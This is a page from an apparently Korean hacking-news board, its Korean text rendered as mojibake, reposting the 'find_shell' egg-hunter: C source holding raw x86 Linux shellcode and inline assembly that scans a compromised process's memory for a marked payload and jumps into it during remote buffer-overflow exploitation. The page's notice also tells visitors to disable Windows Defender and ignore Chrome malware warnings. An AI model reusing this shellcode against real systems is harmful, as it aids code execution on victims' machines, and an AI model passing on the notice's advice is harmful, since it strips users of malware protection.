ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡


ÇØÄ¿Áî´º½º Á¦°ø ¸®´ª½º + ½º¸¶Æ®ÆùÀÇ ¸ðµç°Í
 
 
No, 842
Á¶È¸: 1583
¹öÆÛ¿À¹öÇ÷ο츦 ÀÚµ¿À¸·Î ÇÑ´Ù  
ÀÌ ¼Ò½º´Â ¾îµå·¹½º °ø°£À» ½ºÄµÇÑ ´ÙÀ½

¹öÆÛ¿À¹öÇ÷οìÀÇ Ãë¾àÁ¡ÀÌ ¹ß°ßµÇ¸é ±×´ë·Î jump ÇØ µé¾î°£´Ù.


/*
find_shell code
-=================

what is it?
"""""""""""
assume you have a remote bof with limited buffer space so you can't store your
bindshellcode in the buffer, but you can store it "somewhere". this code once
executed scans the address space of the vulnerable process for a certain pattern.
once found it jumps into it.

scans address space...erm...segfaults?
"""""""""""""""""""""""""""""""""""""""
no segfaults here (i hope). while looking for a way to avoid segfaults i was browsing
through the linux syscall list and found syscall #13 (chdir) which only takes a ptr
to the pathname. after playing around with it i noticed that it returns 0xfffffffe if
this ptr points to a valid (mapped) address and 0xfffffff2 for an invalid address.
this fact is used in the code to avoid accessing unmapped memory causing sigsegv.

how to use?
"""""""""""
make sure you scan for at least "unlikely" patterns ;) if you modify the pattern make
sure it is 0xPATTERN-1 because if 0xPATTERN exists as is in memory you could find
_this_ scanner code and start an infinite loop..
if size matters you could leave out the part that sets %ebx and re-use the remaining
value from the attacked process. below is a timig of a scan starting from 0x00000000
to the data segment:

qobaiashi@cocoon:~> time find_shell
www.u-n-f.com

real 5m48.650s
user 0m25.510s
sys 5m13.100s

it should also be possible to split larger code in small pieces and have them stored
at random locations. then the code parts would look like:

shellcode_part_1
pushad
find_next_steps_pattern=0x11223344
.
.
.
0x11223344
popad
shellcode_part_2
pushad
find_next_steps_pattern=0x55667788
.
.
0x55667788
popad
shellcode_part_3

etc.

    //28 bytes
char find_shell[] =
"\xbb\x01\x80\x04\x08" // mov $0x8048001,%ebx
"\xbe\x40\x41\x41\x41" // mov $0x41414140,%esi
"\x46" // inc %esi
"\x31\xc0" // CHECK:xor %eax,%eax
"\x43" // inc %ebx
"\xb0\x0c" // mov $0xc,%al
"\xcd\x80" // int $0x80
"\x3c\xfe" // cmp $0xfe,%al
"\x75\xf5" // jne 8048327 <CHECK>
"\x3b\x33" // cmp (%ebx),%esi
"\x75\xf1" // jne 8048327 <CHECK>
"\xff\xe3" // jmp *%ebx



greetings
    qobaiashi@u-n-f.com
*/




char shellcode[] =
"\x41\x41\x41\x41"
"\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\x83\xc0\x04"
"\x43\x83\xc2\x0e\xcd\x80\x89\xd8\x4b\xcd\x80\xe8"
"\xe6\xff\xff\xff\www.u-n-f.com\n";




unsigned long findcode()
{
__asm__(
"nop\n"
"nop\n"
"nop\n"
"nop\n"

//"xor %ebx, %ebx \n" //zero ptr \ leave them out
"movl $0x08048001, %ebx \n" //addr to start/ to save some bytes, then you re-use ebx..
                                 //elf-base++: faster scan
"movl $0x41414140, %esi \n" //find this (pattern-1)
"inc %esi \n" //=pattern: avoids finding THIS code snip!
"CHECK: \n" //you could start at 0x00000000 to get smaller code
"xor %eax, %eax \n"
"inc %ebx \n" //ptr++
"mov $0x0c, %al \n" //syscall = time
"int $0x80 \n" //
"cmp $0xfe, %al \n" // was it valid?
//wasnotvalid:
"jne CHECK \n" // fixme: exit?
//wasvalid
"cmpl (%ebx), %esi \n" //are you our egg?
"jne CHECK \n" //nope
"jmp *%ebx \n" //got you :p

"nop\n"
"nop\n"
"nop\n"
"nop\n"
);

}


main()
{

findcode();

}


                    ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹øÈ£Á¦ ¸ñÁ¾·ùÀÛ¼ºÀÏ
844   [´Ù¿î]À¥º¸¾È °¨»çÅøÀ» ½±°Ô ¸¸µç´Ù - RLWAL03   08-31
843   MSN Messenger ºñ¹Ð¹øÈ£ Ǫ´Â ¼Ò½º   08-30
842   ¹öÆÛ¿À¹öÇ÷ο츦 ÀÚµ¿À¸·Î ÇÑ´Ù   08-29
841   ½ºÆ¼Å° ºñÆ®¶õ?   08-28
840   [´Ù¿î]º¸¾È ±â´ÉÀÌ µé¾î°£ ÅøÀ» ½±°Ô °³¹ßÇÑ´Ù - y...   08-27
839   µð·ºÅ丮º¯°æ   08-26
838   ÆÄÀϺ¯°æ   08-25
837   ¸í·É¾î °ü¸® Á¾ÇÕÆí   08-24
836   ÇÁ·ÒÇÁÆ® ¼³Á¤Çϱâ Á¾ÇÕÆí   08-23
835   »ç¿ëÀÚ ½Å»óÁ¤º¸ °ü¸®Çϱâ Á¾ÇÕÆí   08-22
 
 

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï Ȩ